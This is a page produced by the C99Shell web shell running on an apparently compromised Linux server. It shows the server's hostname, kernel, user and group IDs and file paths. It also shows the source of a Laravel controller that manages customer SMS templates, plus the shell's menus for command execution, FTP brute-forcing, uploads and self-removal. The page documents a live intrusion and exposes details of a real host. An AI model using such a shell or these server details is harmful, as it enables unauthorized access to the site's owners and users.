!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DynamicTemplateController.php (5.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Export\DynamicTemplateExport;
use 
App\Http\Controllers\Controller;
use 
App\Models\DynamicTemplate;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Response;
use 
Illuminate\Support\Str;
use 
Maatwebsite\Excel\Facades\Excel;
use 
Symfony\Component\HttpFoundation\StreamedResponse;

class 
DynamicTemplateController extends Controller
{
    public function 
index(){

        return 
view('customer.dynamic_template.index');
    }

    public function 
getAll()
    {
        
$template=DynamicTemplate::where('customer_id'auth('customer')->user()->id)->get();
        return 
datatables()->of($template)

            ->
addColumn('name', function ($q) {
                return 
$q->name;
            })
            ->
addColumn('status', function ($q) {
                if(
$q->status=='active'){
                    
$status'<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> '.ucfirst($q->status).' </strong>';
                }else{
                    
$status'<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> '.ucfirst($q->status).' </strong>';
                }
                return 
$status;
            })
            ->
addColumn('action', function ($q) {
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.dynamic-template.edit', [$q->id]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this template?"
                                        data-action=' 
route('customer.dynamic-template.destroy', [$q->id]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
.
                    
'<button class="btn btn-sm btn-primary export ml-2" data-id="'.$q->id.'" type="button"><i class="fa fa-sign-out-alt"></i></button>';
            })

            ->
rawColumns(['action','status'])
            ->
toJson();
    }


    public function 
create(){

        return 
view('customer.dynamic_template.create');
    }

    public function 
store(Request  $request){
        
$request->validate([
            
'name'=>'required'
        
]);
        
$all_inputs = [];
        if (
$request->inputes) {
            foreach (
$request->inputes as $input) {
                if(
$input) {
                    
$input str_replace(' ''_'str_replace('-''_'$input));
                    
$all_inputs[] = strtolower($input);
                }
            }
        }

        
$template= new DynamicTemplate();
        
$template->customer_id=auth('customer')->user()->id;
        
$template->name=$request->name;
        
$template->status=$request->status;
        
$template->fields=json_encode($all_inputs);
        
$template->save();

        return 
redirect()->route('customer.dynamic-template.index')->with('success''Dynamic Template Successfully Create');
    }

    public function 
edit($template){
        
$template=DynamicTemplate::findOrFail($template);

        
$data['template']=$template;

        
$data['fields']=$template->fields?json_decode($template->fields):'';

        return 
view('customer.dynamic_template.edit'$data);
    }


    public function 
update($templateRequest $request){
        
$request->validate([
            
'name'=>'required'
        
]);
        
$template=DynamicTemplate::findOrFail($template);
        
$all_inputs = [];
        if (
$request->inputes) {
            foreach (
$request->inputes as $input) {
                if(
$input) {
                    
$input str_replace(' ''_'str_replace('-''_'$input));
                    
$all_inputs[] = strtolower($input);
                }
            }
        }

        
$template->name=$request->name;
        
$template->status=$request->status;
        
$template->fields=json_encode($all_inputs);
        
$template->save();


        return 
redirect()->route('customer.dynamic-template.index')->with('success''Dynamic Template Successfully Updated');
    }

    public function 
destroy($template){
        
$template=DynamicTemplate::findOrFail($template);
        
$template->delete();

        return 
redirect()->route('customer.dynamic-template.index')->with('success''Dynamic Template Successfully Deleted');
    }

    public function 
export(Request $request){
        
$template=DynamicTemplate::findOrFail($request->id);

        if(!
$template->fields){
            return 
redirect()->route('customer.dynamic-template.index')->withErrors(['failed'=>'Empty value']);
        }

        
$token=Str::random(5);
        if (
$request->type=='csv'){
            
$fileName 'template-'.$token.'.csv';

            
$headers = array(
                
"Content-type" => "text/csv",
                
"Content-Disposition" => "attachment; filename=$fileName",
            );

            
$fields=$template->fields?json_decode($template->fields):'';
            
$all_fields=[];
            foreach (
$fields as $field) {
                
$all_fields[]=  $field;
            }

            
$callback = function () use ($all_fields) {
                
$file fopen('php://output''w');

                
fputcsv($file$all_fields);

                
fclose($file);
            };

            return 
response()->stream($callback200$headers);
        }elseif(
$request->type=='xls'){

            
$token=ucwords(Str::random(5));

            
$file_name='template-'.$token.'.xlsx';

            
$fields=$template->fields?json_decode($template->fields):'';
            if(!
$fields){
                return 
redirect()->back()->withErrors(['failed'=>'No Data Found']);
            }

            
$export = new DynamicTemplateExport($fields);
            return 
Excel::download($export$file_name);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--